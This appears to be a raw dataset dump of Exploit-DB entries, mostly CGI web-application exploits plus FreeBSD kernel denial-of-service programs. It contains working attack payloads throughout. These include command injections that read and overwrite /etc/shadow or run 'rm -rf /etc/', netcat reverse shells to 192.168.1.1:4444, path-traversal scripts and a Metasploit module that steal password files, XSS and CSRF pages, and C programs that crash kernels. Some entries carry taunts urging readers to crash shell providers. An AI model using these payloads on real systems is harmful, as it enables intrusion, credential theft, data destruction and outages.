deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30260
Description: Yoggie Pico and Pico Pro Backticks - Remote Code Execution
Type: webapps
Platform: cgi
Date: 2007-07-02
Author: Cody Brocious

Exploit:
source: https://www.securityfocus.com/bid/24743/info

Yoggie Pico and Pico Pro are prone to a remote code-execution vulnerability because the device fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary code with superuser privileges. A successful exploit will result in the complete compromise of affected devices. 

When run from a machine with a Yoggie Pico Pro connected,
yoggie.yoggie.com resolves to the IP of the device, so these links
will of course not work unless you have a device connected.  I didn't
brute-force the root password, so I explain how you can replace their
/etc/shadow to set the password to whatever you choose.

To access the original /etc/shadow:
https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60cp%20/etc/shadow%20shadow.txt%60
https://yoggie.yoggie.com:8443/cgi-bin/shadow.txt
Replace the root password with the password of your choosing, then
wrap the file in single quotes and urlencode the entire string.

To replace the original /etc/shadow with your own:
https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60echo%20<urlencoded
shadow file>%20%3E%20/etc/shadow%60

Finally, running dropbear sshd on port 7290 (random choice -- not
blocked by their firewall rules)
https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60/usr/sbin/dropbear%20-p%207290%60

Log in as root with the password chosen, and you now have complete
control over the device.  It's quite  powerful little computer, and a
whole hell of a lot of fun to play around with.  A word of advice,
though -- don't touch libc in any way, shape, or form, as there's no
reflash mechanism I've found on the device, which is why I now have a
bricked pico pro sitting on my desk ;)
Exploit-DB #39156
Description: ZamFoo - Multiple Remote Command Execution Vulnerabilities
Type: webapps
Platform: cgi
Date: 2014-04-02
Author: Al-Shabaab

Exploit:
source: https://www.securityfocus.com/bid/67215/info

ZamFoo is prone to multiple remote command-execution vulnerabilities.

Remote attackers can exploit these issues to execute arbitrary commands within the context of the vulnerable application to gain root access. This may facilitate a complete compromise of an affected computer.

ZamFoo 12.6 is vulnerable; other versions may also be affected. 

https://www.example.com/cgi/zamfoo/zamfoo_do_restore_zamfoo_backup.cgi?accounttorestore=|rm -rf /etc/${IFS}

https://www.example.com/cgi/zamfoo/zamfoo_do_change_site_ip.cgi?accounttochange=|rm -rf /etc/|&newip=127.0.0.1&pattern2=
Exploit-DB #51347
Description: ZCBS/ZBBS/ZPBS v4.14k - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: cgi
Date: 2023-04-08
Author: Abdulaziz Saad

Exploit:
# Exploit Title: ZCBS/ZBBS/ZPBS v4.14k - Reflected Cross-Site Scripting (XSS)
# Date: 2023-03-30
# CVE: CVE-2023-26692
# Exploit Author: Abdulaziz Saad (@b4zb0z)
# Vendor Homepage: https://www.zcbs.nl
# Version: 4.14k
# Tested on: LAMP, Ubuntu
# Google Dork: inurl:objecten.pl?ident=3D

---

[#] Vulnerability :

`$_GET['ident']`


[#] Exploitation :

`https://localhost/cgi-bin/objecten.pl?ident=3D%3Cimg%20src=3Dx%20onerror=
=3Dalert(%22XSS%22)%3E`
Exploit-DB #37830
Description: ZEN Load Balancer - Multiple Vulnerabilities
Type: webapps
Platform: cgi
Date: 2012-09-24
Author: Brendan Coles

Exploit:
source: https://www.securityfocus.com/bid/55638/info

ZEN Load Balancer is prone to the following security vulnerabilities:

1. Multiple arbitrary command-execution vulnerabilities
2. Multiple information-disclosure vulnerabilities
3. An arbitrary file-upload vulnerability

An attacker can exploit these issues to execute arbitrary commands, upload arbitrary files to the affected computer, or disclose sensitive-information.

ZEN Load Balancer 2.0 and 3.0 rc1 are vulnerable. 

http://www.example.com/index.cgi?id=2-2&filelog=%26nc+192.168.1.1+4444+-e+/bin/bash;&nlines=1&action=See+logs
http://www.example.com/index.cgi?id=2-2&filelog=#&nlines=1%26nc+192.168.1.1+4444+-e+/bin/bash;&action=See+logs
http://www.example.com/index.cgi?id=3-2&if=lo%26nc+192.168.1.1+4444+-e+/bin/bash%26&status=up&newip=0.0.0.0&netmask=255.255.255.0&gwaddr=&action=Save+%26+Up!
http://www.example.com/config/global.conf
http://www.example.com/backup/
Exploit-DB #48308
Description: Zen Load Balancer 3.10.1 - 'index.cgi' Directory Traversal
Type: webapps
Platform: cgi
Date: 2020-04-10
Author: Basim Alabdullah

Exploit:
# Exploit Title: Zen Load Balancer 3.10.1 - 'index.cgi' Directory Traversal
# Date: 2020-04-10
# Exploit Author: Basim Alabdullah
# Software Link: https://sourceforge.net/projects/zenloadbalancer/files/Distro/zenloadbalancer-distro_3.10.1.iso/download
# Version: 3.10.1
# Tested on: Debian8u2
#
# Technical Details:
# The filelog parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.
# The payload ../../../../../../../../../../../../../../../../etc/shadow was submitted in the filelog parameter. The requested file was returned in the application's response.
# Note that disclosure of the shadow file may allow an attacker to discover users' passwords
#
# Impact:
# --------
# Successful exploitation could allow an attacker to obtain sensitive
# information.

import requests
import sys

if len(sys.argv) <2:
    print("Example Use: python exploit.py https://192.168.1.1:444 /etc/shadow")
    sys.exit(-1)
else:
    files=sys.argv[2]
    url=sys.argv[1]    
    with requests.session() as s:
        urlz=url+"/index.cgi?id=2-3&filelog=../../../../../../../../../../../../../../../../"+files+"&nlines=100&action=See+logs"
        response = s.get(urlz, auth=('admin', 'admin'), verify=False)
        txt=response.text
        print(response.text)
Exploit-DB #48373
Description: Zen Load Balancer 3.10.1 - Directory Traversal (Metasploit)
Type: webapps
Platform: cgi
Date: 2020-04-23
Author: Dhiraj Mishra

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Zen Load Balancer Directory Traversal",
      'Description'    => %q{
          This module exploits a authenticated directory traversal
vulnerability in Zen Load
          Balancer `v3.10.1`. The flaw exists in 'index.cgi' not
properly handling 'filelog='
          parameter which allows a malicious actor to load arbitrary file path.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Basim Alabdullah', # Vulnerability discovery
          'Dhiraj Mishra'     # Metasploit module
        ],
      'References'     =>
        [
          ['EDB', '48308']
        ],
      'DisclosureDate' => "Apr 10 2020"
    ))

    register_options(
      [
        Opt::RPORT(444),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptInt.new('DEPTH', [true, 'The max traversal depth', 16]),
        OptString.new('FILEPATH', [false, 'The name of the file to
download', '/etc/passwd']),
        OptString.new('TARGETURI', [true, "The base URI path of the
ZenConsole install", '/']),
        OptString.new('HttpUsername', [true, 'The username to use for
the HTTP server', 'admin']),
        OptString.new('HttpPassword', [false, 'The password to use for
the HTTP server', 'admin'])
      ])
  end

  def run_host(ip)
    filename = datastore['FILEPATH']
    traversal = "../" * datastore['DEPTH']

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.cgi'),
      'vars_get'=>
      {
        'id'      => '2-3',
        'filelog' => "#{traversal}#{filename}",
        'nlines'  => '100',
        'action'  => 'See logs'
      },
      'authorization' =>
basic_auth(datastore['HttpUsername'],datastore['HttpPassword'])
      }, 25)

    unless res && res.code == 200
      print_error('Nothing was downloaded')
      return
    end

    print_good("#{peer} - Downloaded #{res.body.length} bytes")
    path = store_loot(
      'zenload.http',
      'text/plain',
      ip,
      res.body,
      filename
    )
    print_good("File saved in: #{path}")
  end
end
Exploit-DB #22692
Description: Zeus Web Server 4.x - Admin Interface 'VS_Diag.cgi' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-05-29
Author: Hugo Vazquez

Exploit:
source: https://www.securityfocus.com/bid/7751/info

The Zeus Web Server contains a web based administration interface that is vulnerable to cross site scripting attacks.

Due to insufficient sanitization of user-supplied input, it is possible for an attacker to construct a malicious link which contains arbitrary HTML and script code, which will be executed in the web client of a user who visits the malicious link. It should be noted that the user must authenticate with the administrative interface for the attack to succeed.

The vendor has stated that cookies are not used to store usernames and passwords.

http://<target>:9090/apps/web/vs_diag.cgi?server=<script>function%20pedo()
{var%20xmlHttp%20=%20new%20ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open
("GET","http://<target>:9090/apps/web/global.fcgi",false);xmlHttp.send
();xmlDoc=xmlHttp.responseText;document.write(xmlDoc);}pedo();alert("Have%
20you%20enabled%20the%20protection%20of%20your%20ZEUS...?%20We%20can%20rip%
20this%20info!%20Much%20more%20evil%20actions%20are%20possible...")
</script>
Exploit-DB #18722
Description: ZTE - Change Admin Password
Type: webapps
Platform: cgi
Date: 2012-04-08
Author: Nuevo Asesino

Exploit:
# Exploit Title: ZTE Change admin password
# Author: Nuevo Asesino
# Version: ZTE Inc., Software Release ZXDSL 831IIV7.5.0a_Z29_OV
#################################################################################################
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>Exploit By Nuevo Asesino </H2>
<form method="POST" name="form0" action="http:\192.168.1.1\accessaccount.cgi?sys[CREDENTIAL_REDACTED]">
</form>
</body>
</html> ##################################################################################################                                                                                                  
password ======> 123456
Now you can get the username & the password------------------------------------------------------Contact  :Oeb1590@hotmail.comFacebook : Https:\www.facebook.com\Want.Revenge 
              \|||/           .-.________                (o o)                ________.-.     -----/ \_)_______)  +----------oooO------------+   (_______(_/   \------         (    ()___)         The Blacke Devils               (___()    )               ()__)                                         (__()         ----\___()_)         Algeria Warriors                (_()___/-----                                                            +-------------Ooo----------+                                In:Arab47.com
Exploit-DB #40269
Description: ZYCOO IP Phone System - Remote Command Execution
Type: webapps
Platform: cgi
Date: 2016-08-19
Author: 0x4148

Exploit:
Vulnerable hardware : ZYCOO IP phone system
Vendor : zycoo.com
Author : Ahmed sultan (@0x4148)
Email : 0x4148@gmail.com

Summary : According to the vendor's site , 
CooVox Series IP Phone System is the most innovative solution for VoIP telecommunication in SMB (Small and Medium-sized Business) market.
They provide not only traditional PBX functions such as automated attendant and voicemail,
but also offer many advance telephony features, including remote extensions, remote office connection,
IVR, call recording, call detail records(CDR)…

Vulnerable file : /www/cgi-bin/system_cmd.cgi

Code shot : 

#!/bin/hush
printf '\r\n'
if [ -n "$REQUEST_METHOD" ]; then
        case "$REQUEST_METHOD" in
        (GET)
        if [ -n "$QUERY_STRING" ]; then
        for args in `echo "$QUERY_STRING" | tr "&" " "`
        do
                param=`echo "$args" | cut -d "=" -f 1`
                value=`echo "$args" | cut -d "=" -f 2`
                eval "export $param=$value"
        done
        fi
        ;;
  esac
fi
INI_FILE=/etc/asterisk/manager.conf
INI_SECTION=$username
eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \
    -e 's/;.*$//' \
    -e 's/[[:space:]]*$//' \
    -e 's/^[[:space:]]*//' \
    -e "s/^\(.*\)=\([^\"']*\)$/\1=\'\2\'/" \
   < $INI_FILE \
    | sed -n -e "/^\[$INI_SECTION\]/,/^\s*\[/{/^[^;].*\=.*/p;}"`
password="`/etc/scripts/decodeURI $password`"
[ -z "$secret" ] && secret=`/etc/scripts/getkeyvalue.sh ${INI_SECTION} vmsecret`
if [ "$password" = "$secret" ]; then
        cmd=`echo $cmd | sed 's/%20/ /g'`
#       cmd=`echo $cmd | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g;s/?r//g' | xargs echo`
        $cmd

the GET parameter cmd is freely available to directly execute system commands with no prior required authentication
which lead to full hardware takeover

POC
[0x4148:/R1z]# curl http://server:9999/cgi-bin/system_cmd.cgi\?cmd\='cat%20/etc/passwd'
root:$1$C6ouMLFa$pb2/Bu1bcWpBNcX38jTva0:0:0:root:/:/bin/sh
nobody:x:99:99:Nobody::

Also by reading file /etc/asterisk/manager.conf
hardware admin's password can be obtained in plain text

Fixing?
Unfortunately the hardware frontend really depend on this file , and the vendor is super lazy on replying on the emails regarding this vulnerability
so , best fixation for now is enabling the web interface browsing from the local network only
Exploit-DB #19505
Description: FreeBSD 3.0/3.1/3.2 - 'vfs_cache' Denial of Service
Type: dos
Platform: freebsd
Date: 1999-09-22
Author: Charles M. Hannum

Exploit:
// source: https://www.securityfocus.com/bid/653/info

A vulnerability exists in FreeBSD's new VFS cache introduced in version 3.0 that allows a local and possibly remote user to force the kernel to consume large quantities of wired memory thus creating a denial of service condition. The new VFS cache has no way to purge entries from memory while the file is open, consuming wired memory and allowing for the denial of service (memory that cannot be swapped out).

FreeBSD versions earlier than 3.0 are not vulnerable, nor is the original 4.4BSD-Lite code. 

#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>

#define	NFILE	64
#define	NLINK	30000
#define	NCHAR	245

int
main()
{
	char junk[NCHAR+1],
	     dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1];
	int i, j;
	struct stat sb;

	memset(junk, 'x', NCHAR);
	junk[NCHAR] = '\0';
	for (i = 0; i < NFILE; i++) {
		printf("\r%02d/%05d...", i, 0),
		fflush(stdout);
		sprintf(dir, "%02d-%02d", i, 0);
		if (mkdir(dir, 0755) < 0)
			fprintf(stderr, "mkdir(%s) failed\n", dir),
			exit(1);
		sprintf(file1, "%s/%s%03d", dir, junk, 0);
		if (creat(file1, 0644) < 0)
			fprintf(stderr, "creat(%s) failed\n", file1),
			exit(1);
		if (stat(file1, &sb) < 0)
			fprintf(stderr, "stat(%s) failed\n", file1),
			exit(1);
		for (j = 1; j < NLINK; j++) {
			if ((j % 1000) == 0) {
				printf("\r%02d/%05d...", i, j),
				fflush(stdout);
				sprintf(dir, "%02d-%02d", i, j/1000);
				if (mkdir(dir, 0755) < 0)
					fprintf(stderr, "mkdir(%s) failed\n", dir),
					exit(1);
			}
			sprintf(file2, "%s/%s%03d", dir, junk, j%1000);
			if (link(file1, file2) < 0)
				fprintf(stderr, "link(%s,%s) failed\n", file1, file2),
				exit(1);
			if (stat(file2, &sb) < 0)
				fprintf(stderr, "stat(%s) failed\n", file2),
				exit(1);
		}
	}
	printf("\rfinished successfully\n");
}
Exploit-DB #24233
Description: FreeBSD 4.10/5.x - 'execve()' Unaligned Memory Access Denial of Service
Type: dos
Platform: freebsd
Date: 2004-06-23
Author: Marceta Milos

Exploit:
/*
source: https://www.securityfocus.com/bid/10596/info


It is reported that FreeBSD running on the Alpha architecture is susceptible to a denial of service vulnerability in its execve() system call.

An attacker with local interactive user-level access on an affected machine is reportedly able to crash FreeBSD when running on the Alpha architecture, denying service to legitimate users.

FreeBSD 5.1-RELEASE/Alpha is reported vulnerable, other architectures with strict memory alignment requirements are also likely vulnerable. IA32 is reported immune. Versions other than 5.1-RELEASE are likely affected as well. 
*/

/*
 * FreeBSD/Alpha local DoS
 *    by Marceta Milos
 *    root@marcetam.net
 *
 */

char main() { execve("/bin/ls",(int *)(main + 1), 0); }
Exploit-DB #28812
Description: FreeBSD 5.5/6.x - Scheduler Policy Local Denial of Service
Type: dos
Platform: freebsd
Date: 2006-10-13
Author: Diane Bruce

Exploit:
// source: https://www.securityfocus.com/bid/20517/info

FreeBSD is prone to a local denial-of-service vulnerability because the kernel fails to require superuser privileges to perform a sensitive operation.

An attacker may leverage this issue to consume all CPU resources, denying service to legitimate users.

FreeBSD versions 5.5-RELEASE through 6.0-RELEASE-p10 are vulnerable to this issue; previous versions may also be affected.

/* FreeBSD cvs commit: src/sys/posix4/p1003_1b.c davidxu 2006-05-21 00:40:38 UTC
   Log: Don't allow non-root user to set a scheduler policy, otherwise this could be a local DOS.
   lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"! 
   tested on FreeBSD 5.5-RELEASE, 6.0-RELEASE-p5, 6.1-RELEASE, 6.1-RELEASE-p10 (latest at the time of writing)
   wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
   usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers.
*/
#include <sched.h>
int main(){
struct sched_param lol; 
lol.sched_priority = sched_get_priority_max(SCHED_FIFO); 
sched_setscheduler(0,SCHED_FIFO,&lol);
for(;;){}
}
Exploit-DB #28648
Description: FreeBSD 5.x - 'I386_Set_LDT()' Multiple Local Denial of Service Vulnerabilities
Type: dos
Platform: freebsd
Date: 2006-09-23
Author: Adriano Lima

Exploit:
// source: https://www.securityfocus.com/bid/20158/info

FreeBSD is prone to multiple local denial-of-service vulnerabilities. These issues occur because of input-validation flaws related to the handling of integers.

An attacker may leverage these issues to cause the affected computer to crash, denying service to legitimate users.

Versions 5.2 through 5.5 are vulnerable to these issues; other versions may also be affected.

#include <stdio.h>
#include <stdlib.h>
#include <machine/segments.h>
#include <machine/sysarch.h>

int main(int argc,char **argv){

    if(i386_set_ldt(LUDATA_SEL+1,NULL,-1)==-1){
        perror("i386_set_ldt");
        exit(EXIT_FAILURE);
    }

    exit(EXIT_FAILURE);
}
Exploit-DB #28813
Description: FreeBSD 6.0/6.1 - Ftrucante Local Denial of Service
Type: dos
Platform: freebsd
Date: 2006-10-13
Author: Kirk Russell

Exploit:
// source: https://www.securityfocus.com/bid/20522/info

FreeBSD is prone to a local denial-of-service vulnerability because it fails to handle exceptional conditions.

An attacker may leverage this issue to crash the affected computer, denying service to legitimate users. Under certain conditions, successful exploits may also corrupt the filesystem.

FreeBSD version 6.0-RELEASE-p5 and 6.1-RELEASE-p10 are vulnerable to this issue; other versions may also be affected.

/* FreeBSD cvs commit: src/sys/ufs/ufs/ufs_vnops.c maxim 2006-05-31 13:15:29 UTC
   Log: According to POSIX, the result of ftruncate(2) is unspecified
   for file types other than VREG, VDIR and shared memory objects.
   We already handle VREG, VLNK and VDIR cases.  Silently ignore
   truncate requests for all the rest. PR kern/98064

   lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"!
   tested on FreeBSD 6.0-RELEASE-p5, 6.1-RELEASE-p10 (latest at the time of writing)
   - it just makes the system reboot, and with a bit of luck fucks up the filesystem.
   wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever.
   usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers.
   
*/

#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main(){
mkfifo("lol",0x1b6);
int fd = open("lol",O_RDWR); 
ftruncate(fd,12345);
close(fd);
}
Exploit-DB #9134
Description: FreeBSD 6/8 - ata Device Local Denial of Service
Type: dos
Platform: freebsd
Date: 2009-07-13
Author: Shaun Colley

Exploit:
/* atapanic.c
 *
 * by Shaun Colley, 13 July 2009
 *
 * this panics the freebsd kernel by passing a large value to malloc(9) in one of
 * fbsd's ata ioctl's.  tested on freebsd 6.0 and 8.0.  you need read access to the
 * ata device in /dev to be able to open() the device.  chain with some race condition
 * bug?
 *
 * - shaun
 *
 */


#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>

struct ata_ioc_requestz {
    union {
	struct {
	    u_int8_t            command;
	    u_int8_t            feature;
	    u_int64_t           lba;
	    u_int16_t           count;
	} ata;
	struct {
	    char                ccb[16];
	} atapi;
    } u;

    caddr_t             data;
    int                 count;
    int                 flags;

    int                 timeout;
    int                 error;
};


#define IOCATAREQUEST           _IOWR('a', 100, struct ata_ioc_requestz)

int main() {

struct ata_ioc_requestz evil;
int fd;

evil.count = 0xffffffff;
fd = open("/dev/acd0", O_RDONLY);  /* /dev/acd0 is one of my ata devices */

ioctl(fd, IOCATAREQUEST, &evil);

/* should never reach here if kernel panics */
return 0;    
}

// milw0rm.com [2009-07-13]
Exploit-DB #9206
Description: FreeBSD 7.2 - 'pecoff' Local Denial of Service
Type: dos
Platform: freebsd
Date: 2009-07-20
Author: Shaun Colley

Exploit:
/* pecoff_panic.c
 *
 * by Shaun Colley, 20 July 2009
 *
 * this code will panic the freebsd kernel due to a bug in the PECOFF executable loader
 * code ('options PECOFF_SUPPORT' in kernel config or `kldload pecoff`)
 *
 * panic(9) is in vm_fault due to a page fault.  the panic seems to be caused in
 * generic_bcopy...probably hitting a guard page..maybe exploitable(??) but this is just
 * a DoS at the moment :)  (ugly code btw)
 *
 * tested on freebsd 7.2-RELEASE
 *
 * - shaun
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

int main() {
int i, fd;
system("rm -rf evilprog.exe; touch evilprog.exe");
fd = open("evilprog.exe", O_WRONLY);
char buf[0x3a+2+0x04+4000];
buf[0] = 'M';
buf[1] = 'Z';  /* magic */
for(i = 2; i<0x3c; i++) buf[i] = 'a';
buf[0x3c] = 0xee;
buf[0x3d] = 0xee;
buf[0x3e] = 0xee;
buf[0x3f] = 0xee;
for(i = 0x40; i<(0x40+4000); i++) buf[i] = 0x61;
write(fd, buf, 0x3a+2+0x04+4000);
close(fd);
system("chmod 700 evilprog.exe");
system("./evilprog.exe");  /* run the dodgy PECOFF binary */
}

// milw0rm.com [2009-07-20]